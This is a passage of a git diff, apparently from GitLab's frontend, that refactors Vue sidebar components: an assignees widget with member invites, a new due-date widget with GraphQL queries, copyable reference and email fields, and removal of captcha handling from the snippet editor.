- <gl-dropdown-divider v-if="showDivider(selectedFiltered)" />
- <gl-dropdown-item
- v-for="item in selectedFiltered"
- :key="item.id"
- :is-checked="isChecked(item.username)"
- :is-check-centered="true"
- data-testid="selected-participant"
- @click.stop="unselect(item.username)"
- >
- <gl-avatar-link>
- <gl-avatar-labeled
- :size="32"
- :label="item.name"
- :sub-label="item.username"
- :src="item.avatarUrl || item.avatar || item.avatar_url"
- class="gl-align-items-center"
- />
- </gl-avatar-link>
- </gl-dropdown-item>
- <template v-if="showCurrentUser">
- <gl-dropdown-divider />
+ <sidebar-participant :user="unselectedUser" class="gl-pl-6!" />
+ </gl-dropdown-item>
<gl-dropdown-item
- data-testid="current-user"
- @click.stop="selectAssignee(currentUser)"
+ v-if="noUsersFound && !isSearching"
+ data-testid="empty-results"
+ class="gl-pl-6!"
>
- <gl-avatar-link>
- <gl-avatar-labeled
- :size="32"
- :label="currentUser.name"
- :sub-label="currentUser.username"
- :src="currentUser.avatarUrl"
- class="gl-align-items-center gl-pl-6!"
- />
- </gl-avatar-link>
+ {{ __('No matching results') }}
</gl-dropdown-item>
</template>
- <gl-dropdown-divider v-if="showDivider(unselectedFiltered)" />
- <gl-dropdown-item
- v-for="unselectedUser in unselectedFiltered"
- :key="unselectedUser.id"
- data-testid="unselected-participant"
- @click="selectAssignee(unselectedUser)"
- >
- <gl-avatar-link class="gl-pl-6!">
- <gl-avatar-labeled
- :size="32"
- :label="unselectedUser.name"
- :sub-label="unselectedUser.username"
- :src="unselectedUser.avatarUrl || unselectedUser.avatar"
- class="gl-align-items-center"
- />
- </gl-avatar-link>
- </gl-dropdown-item>
- <gl-dropdown-item v-if="noUsersFound && !isSearching" data-testid="empty-results">
- {{ __('No matching results') }}
+ </template>
+ <template #footer>
+ <gl-dropdown-item>
+ <sidebar-invite-members v-if="directlyInviteMembers || indirectlyInviteMembers" />
</gl-dropdown-item>
</template>
- </template>
- </multi-select-dropdown>
- </template>
- </sidebar-editable-item>
+ </multi-select-dropdown>
+ </template>
+ </sidebar-editable-item>
+ </div>
</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue
new file mode 100644
index 00000000000..9952c6db582
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue
@@ -0,0 +1,51 @@
+<script>
+import InviteMemberModal from '~/invite_member/components/invite_member_modal.vue';
+import InviteMemberTrigger from '~/invite_member/components/invite_member_trigger.vue';
+import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
+import { __ } from '~/locale';
+
+export default {
+ displayText: __('Invite members'),
+ dataTrackLabel: 'edit_assignee',
+ components: {
+ InviteMemberTrigger,
+ InviteMemberModal,
+ InviteMembersTrigger,
+ },
+ inject: {
+ projectMembersPath: {
+ default: '',
+ },
+ directlyInviteMembers: {
+ default: false,
+ },
+ },
+ computed: {
+ trackEvent() {
+ return this.directlyInviteMembers ? 'click_invite_members' : 'click_invite_members_version_b';
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <invite-members-trigger
+ v-if="directlyInviteMembers"
+ trigger-element="anchor"
+ :display-text="$options.displayText"
+ :event="trackEvent"
+ :label="$options.dataTrackLabel"
+ classes="gl-display-block gl-pl-6 gl-hover-text-decoration-none gl-hover-text-blue-800!"
+ />
+ <template v-else>
+ <invite-member-trigger
+ :display-text="$options.displayText"
+ :event="trackEvent"
+ :label="$options.dataTrackLabel"
+ class="gl-display-block gl-pl-6 gl-hover-text-decoration-none gl-hover-text-blue-800!"
+ />
+ <invite-member-modal :members-path="projectMembersPath" />
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_participant.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_participant.vue
new file mode 100644
index 00000000000..e2a38a100b9
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_participant.vue
@@ -0,0 +1,39 @@
+<script>
+import { GlAvatarLabeled, GlAvatarLink } from '@gitlab/ui';
+import { s__, sprintf } from '~/locale';
+
+export default {
+ components: {
+ GlAvatarLabeled,
+ GlAvatarLink,
+ },
+ props: {
+ user: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ userLabel() {
+ if (!this.user.status) {
+ return this.user.name;
+ }
+ return sprintf(s__('UserAvailability|%{author} (Busy)'), {
+ author: this.user.name,
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-avatar-link>
+ <gl-avatar-labeled
+ :size="32"
+ :label="userLabel"
+ :sub-label="user.username"
+ :src="user.avatarUrl || user.avatar || user.avatar_url"
+ class="gl-align-items-center"
+ />
+ </gl-avatar-link>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue b/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
index d0da4a9c75a..b7080bb05b8 100644
--- a/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
@@ -1,4 +1,5 @@
<script>
+import { IssuableType } from '~/issue_show/constants';
import { __, sprintf } from '~/locale';
import AssigneeAvatarLink from './assignee_avatar_link.vue';
import UserNameWithStatus from './user_name_with_status.vue';
@@ -58,7 +59,10 @@ export default {
this.showLess = !this.showLess;
},
userAvailability(u) {
- return u?.availability || '';
+ if (this.issuableType === IssuableType.MergeRequest) {
+ return u?.availability || '';
+ }
+ return u?.status?.availability || '';
},
},
};
diff --git a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue
index a21ac73f131..1fb4bd26533 100644
--- a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue
+++ b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue
@@ -18,8 +18,15 @@ export default {
GlSprintf,
GlButton,
},
- inject: ['fullPath', 'iid'],
props: {
+ iid: {
+ type: String,
+ required: true,
+ },
+ fullPath: {
+ type: String,
+ required: true,
+ },
confidential: {
required: true,
type: Boolean,
@@ -121,7 +128,7 @@ export default {
</gl-button>
<gl-button
category="secondary"
- variant="warning"
+ variant="confirm"
:disabled="loading"
:loading="loading"
data-testid="confidential-toggle"
diff --git a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue
index ec5f07f9785..372368707af 100644
--- a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue
+++ b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue
@@ -27,8 +27,20 @@ export default {
SidebarConfidentialityContent,
SidebarConfidentialityForm,
},
- inject: ['fullPath', 'iid'],
+ inject: {
+ isClassicSidebar: {
+ default: false,
+ },
+ },
props: {
+ iid: {
+ type: String,
+ required: true,
+ },
+ fullPath: {
+ type: String,
+ required: true,
+ },
issuableType: {
required: true,
type: String,
@@ -126,6 +138,7 @@ export default {
v-if="!isLoading"
:confidential="confidential"
:issuable-type="issuableType"
+ :class="{ 'gl-mt-3': !isClassicSidebar }"
@expandSidebar="expandSidebar"
/>
</div>
@@ -133,6 +146,8 @@ export default {
<template #default>
<sidebar-confidentiality-content :confidential="confidential" :issuable-type="issuableType" />
<sidebar-confidentiality-form
+ :iid="iid"
+ :full-path="fullPath"
:confidential="confidential"
:issuable-type="issuableType"
@closeForm="closeForm"
diff --git a/app/assets/javascripts/sidebar/components/copy_email_to_clipboard.vue b/app/assets/javascripts/sidebar/components/copy_email_to_clipboard.vue
index 8c8241cf6a4..0d8cb8cb2b6 100644
--- a/app/assets/javascripts/sidebar/components/copy_email_to_clipboard.vue
+++ b/app/assets/javascripts/sidebar/components/copy_email_to_clipboard.vue
@@ -1,43 +1,24 @@
<script>
-import { s__, __, sprintf } from '~/locale';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import CopyableField from '../../vue_shared/components/sidebar/copyable_field.vue';
export default {
- i18n: {
- copyEmail: __('Copy email address'),
- },
components: {
- ClipboardButton,
+ CopyableField,
},
props: {
- copyText: {
+ issueEmailAddress: {
type: String,
required: true,
},
},
- computed: {
- emailText() {
- return sprintf(s__('RightSidebar|Issue email: %{copyText}'), { copyText: this.copyText });
- },
- },
};
</script>
<template>
- <div
+ <copyable-field
data-qa-selector="copy-forward-email"
- class="copy-email-address gl-display-flex gl-align-items-center gl-justify-content-space-between"
- >
- <span
- class="gl-overflow-hidden gl-text-overflow-ellipsis gl-white-space-nowrap hide-collapsed gl-w-85p"
- >{{ emailText }}</span
- >
- <clipboard-button
- class="copy-email-button gl-bg-none!"
- category="tertiary"
- :title="$options.i18n.copyEmail"
- :text="copyText"
- tooltip-placement="left"
- />
- </div>
+ :name="s__('RightSidebar|Issue email')"
+ :clipboard-tooltip-text="s__('RightSidebar|Copy email address')"
+ :value="issueEmailAddress"
+ />
</template>
diff --git a/app/assets/javascripts/sidebar/components/due_date/sidebar_due_date_widget.vue b/app/assets/javascripts/sidebar/components/due_date/sidebar_due_date_widget.vue
new file mode 100644
index 00000000000..141c2b3aae9
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/due_date/sidebar_due_date_widget.vue
@@ -0,0 +1,203 @@
+<script>
+import { GlButton, GlIcon, GlDatepicker, GlTooltipDirective } from '@gitlab/ui';
+import createFlash from '~/flash';
+import { IssuableType } from '~/issue_show/constants';
+import { dateInWords, formatDate, parsePikadayDate } from '~/lib/utils/datetime_utility';
+import { __, sprintf } from '~/locale';
+import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
+import { dueDateQueries } from '~/sidebar/constants';
+
+const hideDropdownEvent = new CustomEvent('hiddenGlDropdown', {
+ bubbles: true,
+});
+
+export default {
+ tracking: {
+ event: 'click_edit_button',
+ label: 'right_sidebar',
+ property: 'dueDate',
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ components: {
+ GlButton,
+ GlIcon,
+ GlDatepicker,
+ SidebarEditableItem,
+ },
+ inject: ['fullPath', 'iid', 'canUpdate'],
+ props: {
+ issuableType: {
+ required: true,
+ type: String,
+ },
+ },
+ data() {
+ return {
+ dueDate: null,
+ loading: false,
+ };
+ },
+ apollo: {
+ dueDate: {
+ query() {
+ return dueDateQueries[this.issuableType].query;
+ },
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ iid: String(this.iid),
+ };
+ },
+ update(data) {
+ return data.workspace?.issuable?.dueDate || null;
+ },
+ result({ data }) {
+ this.$emit('dueDateUpdated', data.workspace?.issuable?.dueDate);
+ },
+ error() {
+ createFlash({
+ message: sprintf(__('Something went wrong while setting %{issuableType} due date.'), {
+ issuableType: this.issuableType,
+ }),
+ });
+ },
+ },
+ },
+ computed: {
+ isLoading() {
+ return this.$apollo.queries.dueDate.loading || this.loading;
+ },
+ hasDueDate() {
+ return this.dueDate !== null;
+ },
+ parsedDueDate() {
+ if (!this.hasDueDate) {
+ return null;
+ }
+
+ return parsePikadayDate(this.dueDate);
+ },
+ formattedDueDate() {
+ if (!this.hasDueDate) {
+ return this.$options.i18n.noDueDate;
+ }
+
+ return dateInWords(this.parsedDueDate, true);
+ },
+ workspacePath() {
+ return this.issuableType === IssuableType.Issue
+ ? {
+ projectPath: this.fullPath,
+ }
+ : {
+ groupPath: this.fullPath,
+ };
+ },
+ },
+ methods: {
+ closeForm() {
+ this.$refs.editable.collapse();
+ this.$el.dispatchEvent(hideDropdownEvent);
+ this.$emit('closeForm');
+ },
+ openDatePicker() {
+ this.$refs.datePicker.calendar.show();
+ },
+ setDueDate(date) {
+ this.loading = true;
+ this.$refs.editable.collapse();
+ this.$apollo
+ .mutate({
+ mutation: dueDateQueries[this.issuableType].mutation,
+ variables: {
+ input: {
+ ...this.workspacePath,
+ iid: this.iid,
+ dueDate: date ? formatDate(date, 'yyyy-mm-dd') : null,
+ },
+ },
+ })
+ .then(
+ ({
+ data: {
+ issuableSetDueDate: { errors },
+ },
+ }) => {
+ if (errors.length) {
+ createFlash({
+ message: errors[0],
+ });
+ } else {
+ this.$emit('closeForm');
+ }
+ },
+ )
+ .catch(() => {
+ createFlash({
+ message: sprintf(__('Something went wrong while setting %{issuableType} due date.'), {
+ issuableType: this.issuableType,
+ }),
+ });
+ })
+ .finally(() => {
+ this.loading = false;
+ });
+ },
+ },
+ i18n: {
+ dueDate: __('Due date'),
+ noDueDate: __('None'),
+ removeDueDate: __('remove due date'),
+ },
+};
+</script>
+
+<template>
+ <sidebar-editable-item
+ ref="editable"
+ :title="$options.i18n.dueDate"
+ :tracking="$options.tracking"
+ :loading="isLoading"
+ class="block"
+ data-testid="due-date"
+ @open="openDatePicker"
+ >
+ <template #collapsed>
+ <div v-gl-tooltip :title="$options.i18n.dueDate" class="sidebar-collapsed-icon">
+ <gl-icon :size="16" name="calendar" />
+ <span class="collapse-truncated-title">{{ formattedDueDate }}</span>
+ </div>
+ <div class="gl-display-flex gl-align-items-center hide-collapsed">
+ <span
+ :class="hasDueDate ? 'gl-text-gray-900 gl-font-weight-bold' : 'gl-text-gray-500'"
+ data-testid="sidebar-duedate-value"
+ >
+ {{ formattedDueDate }}
+ </span>
+ <div v-if="hasDueDate && canUpdate" class="gl-display-flex">
+ <span class="gl-px-2">-</span>
+ <gl-button
+ variant="link"
+ class="gl-text-gray-500!"
+ data-testid="reset-button"
+ :disabled="isLoading"
+ @click="setDueDate(null)"
+ >
+ {{ $options.i18n.removeDueDate }}
+ </gl-button>
+ </div>
+ </div>
+ </template>
+ <template #default>
+ <gl-datepicker
+ ref="datePicker"
+ :value="parsedDueDate"
+ show-clear-button
+ @input="setDueDate"
+ @clear="setDueDate(null)"
+ />
+ </template>
+ </sidebar-editable-item>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/reference/sidebar_reference_widget.vue b/app/assets/javascripts/sidebar/components/reference/sidebar_reference_widget.vue
index 567c921b74e..d07c6e0cbd2 100644
--- a/app/assets/javascripts/sidebar/components/reference/sidebar_reference_widget.vue
+++ b/app/assets/javascripts/sidebar/components/reference/sidebar_reference_widget.vue
@@ -1,17 +1,11 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import { referenceQueries } from '~/sidebar/constants';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import CopyableField from '~/vue_shared/components/sidebar/copyable_field.vue';
export default {
- i18n: {
- copyReference: __('Copy reference'),
- text: __('Reference'),
- },
components: {
- ClipboardButton,
- GlLoadingIcon,
+ CopyableField,
},
inject: ['fullPath', 'iid'],
props: {
@@ -56,29 +50,10 @@ export default {
</script>
<template>
- <div class="sub-block">
- <clipboard-button
- v-if="!isLoading"
- :title="$options.i18n.copyReference"
- :text="reference"
- category="tertiary"
- css-class="sidebar-collapsed-icon dont-change-state"
- tooltip-placement="left"
- />
- <div class="gl-display-flex gl-align-items-center gl-justify-between gl-mb-2 hide-collapsed">
- <span class="gl-overflow-hidden gl-text-overflow-ellipsis gl-white-space-nowrap">
- {{ $options.i18n.text }}: {{ reference }}
- <gl-loading-icon v-if="isLoading" inline :label="$options.i18n.text" />
- </span>
- <clipboard-button
- v-if="!isLoading"
- :title="$options.i18n.copyReference"
- :text="reference"
- size="small"
- category="tertiary"
- css-class="gl-mr-1"
- tooltip-placement="left"
- />
- </div>
- </div>
+ <copyable-field
+ class="sub-block"
+ :is-loading="isLoading"
+ :name="__('Reference')"
+ :value="reference"
+ />
</template>
diff --git a/app/assets/javascripts/sidebar/components/reviewers/uncollapsed_reviewer_list.vue b/app/assets/javascripts/sidebar/components/reviewers/uncollapsed_reviewer_list.vue
index dd1d54d67f2..c6fef86c6ff 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/uncollapsed_reviewer_list.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/uncollapsed_reviewer_list.vue
@@ -1,12 +1,15 @@
<script>
import { GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
-import { sprintf, s__ } from '~/locale';
+import { __, sprintf, s__ } from '~/locale';
import ReviewerAvatarLink from './reviewer_avatar_link.vue';
const LOADING_STATE = 'loading';
const SUCCESS_STATE = 'success';
export default {
+ i18n: {
+ reRequestReview: __('Re-request review'),
+ },
components: {
GlButton,
GlIcon,
@@ -109,7 +112,8 @@ export default {
<gl-button
v-else-if="user.can_update_merge_request && user.reviewed"
v-gl-tooltip.left
- :title="__('Re-request review')"
+ :title="$options.i18n.reRequestReview"
+ :aria-label="$options.i18n.reRequestReview"
:loading="loadingStates[user.id] === $options.LOADING_STATE"
class="float-right gl-text-gray-500!"
size="small"
diff --git a/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue b/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
index 4ab4606ac1c..caf1c92c28a 100644
--- a/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
+++ b/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
@@ -1,5 +1,6 @@
<script>
import { GlButton, GlLoadingIcon } from '@gitlab/ui';
+import { __ } from '~/locale';
export default {
components: { GlButton, GlLoadingIcon },
@@ -20,6 +21,16 @@ export default {
required: false,
default: false,
},
+ initialLoading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isDirty: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
tracking: {
type: Object,
required: false,
@@ -35,6 +46,11 @@ export default {
edit: false,
};
},
+ computed: {
+ editButtonText() {
+ return this.isDirty ? __('Apply') : __('Edit');
+ },
+ },
destroyed() {
window.removeEventListener('click', this.collapseWhenOffClick);
window.removeEventListener('keyup', this.collapseOnEscape);
@@ -86,15 +102,15 @@ export default {
<template>
<div>
<div class="gl-display-flex gl-align-items-center" @click.self="collapse">
- <span class="hide-collapsed" data-testid="title">{{ title }}</span>
- <gl-loading-icon v-if="loading" inline class="gl-ml-2 hide-collapsed" />
+ <span class="hide-collapsed" data-testid="title" @click="collapse">{{ title }}</span>
+ <gl-loading-icon v-if="loading || initialLoading" inline class="gl-ml-2 hide-collapsed" />
<gl-loading-icon
v-if="loading && isClassicSidebar"
inline
class="gl-mx-auto gl-my-0 hide-expanded"
/>
<gl-button
- v-if="canUpdate"
+ v-if="canUpdate && !initialLoading"
variant="link"
class="gl-text-gray-900! gl-hover-text-blue-800! gl-ml-auto hide-collapsed"
data-testid="edit-button"
@@ -105,14 +121,16 @@ export default {
@keyup.esc="toggle"
@click="toggle"
>
- {{ __('Edit') }}
+ {{ editButtonText }}
</gl-button>
</div>
- <div v-show="!edit" data-testid="collapsed-content">
- <slot name="collapsed">{{ __('None') }}</slot>
- </div>
- <div v-show="edit" data-testid="expanded-content" :class="{ 'gl-mt-3': !isClassicSidebar }">
- <slot :edit="edit"></slot>
- </div>
+ <template v-if="!initialLoading">
+ <div v-show="!edit" data-testid="collapsed-content">
+ <slot name="collapsed">{{ __('None') }}</slot>
+ </div>
+ <div v-show="edit" data-testid="expanded-content" :class="{ 'gl-mt-3': !isClassicSidebar }">
+ <slot :edit="edit"></slot>
+ </div>
+ </template>
</div>
</template>
diff --git a/app/assets/javascripts/sidebar/constants.js b/app/assets/javascripts/sidebar/constants.js
index a0e636488f4..80e07d556bf 100644
--- a/app/assets/javascripts/sidebar/constants.js
+++ b/app/assets/javascripts/sidebar/constants.js
@@ -1,10 +1,12 @@
import { IssuableType } from '~/issue_show/constants';
import epicConfidentialQuery from '~/sidebar/queries/epic_confidential.query.graphql';
import issueConfidentialQuery from '~/sidebar/queries/issue_confidential.query.graphql';
+import issueDueDateQuery from '~/sidebar/queries/issue_due_date.query.graphql';
import issueReferenceQuery from '~/sidebar/queries/issue_reference.query.graphql';
import mergeRequestReferenceQuery from '~/sidebar/queries/merge_request_reference.query.graphql';
import updateEpicMutation from '~/sidebar/queries/update_epic_confidential.mutation.graphql';
import updateIssueConfidentialMutation from '~/sidebar/queries/update_issue_confidential.mutation.graphql';
+import updateIssueDueDateMutation from '~/sidebar/queries/update_issue_due_date.mutation.graphql';
import getIssueParticipants from '~/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql';
import getMergeRequestParticipants from '~/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql';
import updateAssigneesMutation from '~/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql';
@@ -42,3 +44,10 @@ export const referenceQueries = {
query: mergeRequestReferenceQuery,
},
};
+
+export const dueDateQueries = {
+ [IssuableType.Issue]: {
+ query: issueDueDateQuery,
+ mutation: updateIssueDueDateMutation,
+ },
+};
diff --git a/app/assets/javascripts/sidebar/mount_sidebar.js b/app/assets/javascripts/sidebar/mount_sidebar.js
index 312c0c89f29..1304e84814b 100644
--- a/app/assets/javascripts/sidebar/mount_sidebar.js
+++ b/app/assets/javascripts/sidebar/mount_sidebar.js
@@ -10,7 +10,10 @@ import {
parseBoolean,
} from '~/lib/utils/common_utils';
import { __ } from '~/locale';
+import CollapsedAssigneeList from '~/sidebar/components/assignees/collapsed_assignee_list.vue';
+import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
import SidebarConfidentialityWidget from '~/sidebar/components/confidential/sidebar_confidentiality_widget.vue';
+import SidebarDueDateWidget from '~/sidebar/components/due_date/sidebar_due_date_widget.vue';
import SidebarReferenceWidget from '~/sidebar/components/reference/sidebar_reference_widget.vue';
import { apolloProvider } from '~/sidebar/graphql';
import Translate from '../vue_shared/translate';
@@ -32,15 +35,6 @@ function getSidebarOptions(sidebarOptEl = document.querySelector('.js-sidebar-op
return JSON.parse(sidebarOptEl.innerHTML);
}
-/**
- * Extracts the list of assignees with availability information from a hidden input
- * field and converts to a key:value pair for use in the sidebar assignees component.
- * The assignee username is used as the key and their busy status is the value
- *
- * e.g { root: 'busy', admin: '' }
- *
- * @returns {Object}
- */
function getSidebarAssigneeAvailabilityData() {
const sidebarAssigneeEl = document.querySelectorAll('.js-sidebar-assignee-data input');
return Array.from(sidebarAssigneeEl)
@@ -54,7 +48,7 @@ function getSidebarAssigneeAvailabilityData() {
);
}
-function mountAssigneesComponent(mediator) {
+function mountAssigneesComponentDeprecated(mediator) {
const el = document.getElementById('js-vue-sidebar-assignees');
if (!el) return;
@@ -86,6 +80,51 @@ function mountAssigneesComponent(mediator) {
});
}
+function mountAssigneesComponent() {
+ const el = document.getElementById('js-vue-sidebar-assignees');
+
+ if (!el) return;
+
+ const { iid, fullPath, editable, projectMembersPath } = getSidebarOptions();
+ // eslint-disable-next-line no-new
+ new Vue({
+ el,
+ apolloProvider,
+ components: {
+ SidebarAssigneesWidget,
+ },
+ provide: {
+ canUpdate: editable,
+ projectMembersPath,
+ directlyInviteMembers: el.hasAttribute('data-directly-invite-members'),
+ indirectlyInviteMembers: el.hasAttribute('data-indirectly-invite-members'),
+ },
+ render: (createElement) =>
+ createElement('sidebar-assignees-widget', {
+ props: {
+ iid: String(iid),
+ fullPath,
+ issuableType:
+ isInIssuePage() || isInIncidentPage() || isInDesignPage()
+ ? IssuableType.Issue
+ : IssuableType.MergeRequest,
+ multipleAssignees: !el.dataset.maxAssignees,
+ },
+ scopedSlots: {
+ collapsed: ({ users, onClick }) =>
+ createElement(CollapsedAssigneeList, {
+ props: {
+ users,
+ },
+ nativeOn: {
+ click: onClick,
+ },
+ }),
+ },
+ }),
+ });
+}
+
function mountReviewersComponent(mediator) {
const el = document.getElementById('js-vue-sidebar-reviewers');
@@ -151,14 +190,14 @@ function mountConfidentialComponent() {
SidebarConfidentialityWidget,
},
provide: {
- iid: String(iid),
- fullPath,
canUpdate: initialData.is_editable,
},
render: (createElement) =>
createElement('sidebar-confidentiality-widget', {
props: {
+ iid: String(iid),
+ fullPath,
issuableType:
isInIssuePage() || isInIncidentPage() || isInDesignPage()
? IssuableType.Issue
@@ -168,6 +207,36 @@ function mountConfidentialComponent() {
});
}
+function mountDueDateComponent() {
+ const el = document.getElementById('js-due-date-entry-point');
+ if (!el) {
+ return;
+ }
+
+ const { fullPath, iid, editable } = getSidebarOptions();
+
+ // eslint-disable-next-line no-new
+ new Vue({
+ el,
+ apolloProvider,
+ components: {
+ SidebarDueDateWidget,
+ },
+ provide: {
+ iid: String(iid),
+ fullPath,
+ canUpdate: editable,
+ },
+
+ render: (createElement) =>
+ createElement('sidebar-due-date-widget', {
+ props: {
+ issuableType: IssuableType.Issue,
+ },
+ }),
+ });
+}
+
function mountReferenceComponent() {
const el = document.getElementById('js-reference-entry-point');
if (!el) {
@@ -337,14 +406,22 @@ function mountCopyEmailComponent() {
new Vue({
el,
render: (createElement) =>
- createElement(CopyEmailToClipboard, { props: { copyText: createNoteEmail } }),
+ createElement(CopyEmailToClipboard, { props: { issueEmailAddress: createNoteEmail } }),
});
}
+const isAssigneesWidgetShown =
+ (isInIssuePage() || isInDesignPage()) && gon.features.issueAssigneesWidget;
+
export function mountSidebar(mediator) {
- mountAssigneesComponent(mediator);
+ if (isAssigneesWidgetShown) {
+ mountAssigneesComponent();
+ } else {
+ mountAssigneesComponentDeprecated(mediator);
+ }
mountReviewersComponent(mediator);
mountConfidentialComponent(mediator);
+ mountDueDateComponent(mediator);
mountReferenceComponent(mediator);
mountLockComponent();
mountParticipantsComponent(mediator);
diff --git a/app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql b/app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql
new file mode 100644
index 00000000000..6d3f782bd0a
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql
@@ -0,0 +1,10 @@
+query issueDueDate($fullPath: ID!, $iid: String) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ issuable: issue(iid: $iid) {
+ __typename
+ id
+ dueDate
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/update_epic_subscription.mutation.graphql b/app/assets/javascripts/sidebar/queries/update_epic_subscription.mutation.graphql
new file mode 100644
index 00000000000..f2b806102f4
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/update_epic_subscription.mutation.graphql
@@ -0,0 +1,8 @@
+mutation epicSetSubscription($input: EpicSetSubscriptionInput!) {
+ updateIssuableSubscription: epicSetSubscription(input: $input) {
+ epic {
+ subscribed
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql b/app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql
new file mode 100644
index 00000000000..317b48c142d
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql
@@ -0,0 +1,8 @@
+mutation updateEpic($input: UpdateEpicInput!) {
+ updateIssuableTitle: updateEpic(input: $input) {
+ epic {
+ title
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/update_issue_due_date.mutation.graphql b/app/assets/javascripts/sidebar/queries/update_issue_due_date.mutation.graphql
new file mode 100644
index 00000000000..cf7eccd61c7
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/update_issue_due_date.mutation.graphql
@@ -0,0 +1,9 @@
+mutation updateIssueDueDate($input: UpdateIssueInput!) {
+ issuableSetDueDate: updateIssue(input: $input) {
+ issuable: issue {
+ id
+ dueDate
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/snippets/components/edit.vue b/app/assets/javascripts/snippets/components/edit.vue
index bee9d7b8c2a..c53d0575752 100644
--- a/app/assets/javascripts/snippets/components/edit.vue
+++ b/app/assets/javascripts/snippets/components/edit.vue
@@ -33,7 +33,6 @@ export default {
SnippetBlobActionsEdit,
TitleField,
FormFooterActions,
- CaptchaModal: () => import('~/captcha/captcha_modal.vue'),
GlButton,
GlLoadingIcon,
},
@@ -68,10 +67,6 @@ export default {
description: '',
visibilityLevel: this.selectedLevel,
},
- captchaResponse: '',
- needsCaptchaResponse: false,
- captchaSiteKey: '',
- spamLogId: '',
};
},
computed: {
@@ -103,8 +98,6 @@ export default {
description: this.snippet.description,
visibilityLevel: this.snippet.visibilityLevel,
blobActions: this.actions,
- ...(this.spamLogId && { spamLogId: this.spamLogId }),
- ...(this.captchaResponse && { captchaResponse: this.captchaResponse }),
};
},
saveButtonLabel() {
@@ -171,20 +164,14 @@ export default {
},
handleFormSubmit() {
this.isUpdating = true;
+
this.$apollo
.mutate(this.newSnippet ? this.createMutation() : this.updateMutation())
.then(({ data }) => {
const baseObj = this.newSnippet ? data?.createSnippet : data?.updateSnippet;
- if (baseObj.needsCaptchaResponse) {
- // If we need a captcha response, start process for receiving captcha response.
- // We will resubmit after the response is obtained.
- this.requestCaptchaResponse(baseObj.captchaSiteKey, baseObj.spamLogId);
- return;
- }
-
const errors = baseObj?.errors;
- if (errors.length) {
+ if (errors?.length) {
this.flashAPIFailure(errors[0]);
} else {
redirectTo(baseObj.snippet.webUrl);
@@ -200,38 +187,6 @@ export default {
updateActions(actions) {
this.actions = actions;
},
- /**
- * Start process for getting captcha response from user
- *
- * @param captchaSiteKey Stored in data and used to display the captcha.
- * @param spamLogId Stored in data and included when the form is re-submitted.
- */
- requestCaptchaResponse(captchaSiteKey, spamLogId) {
- this.captchaSiteKey = captchaSiteKey;
- this.spamLogId = spamLogId;
- this.needsCaptchaResponse = true;
- },
- /**
- * Handle the captcha response from the user
- *
- * @param captchaResponse The captchaResponse value emitted from the modal.
- */
- receivedCaptchaResponse(captchaResponse) {
- this.needsCaptchaResponse = false;
- this.captchaResponse = captchaResponse;
-
- if (this.captchaResponse) {
- // If the user solved the captcha, resubmit the form.
- // NOTE: we do not need to clear out the captchaResponse and spamLogId
- // data values after submit, because this component always does a full page reload.
- // Otherwise, we would need to.
- this.handleFormSubmit();
- } else {
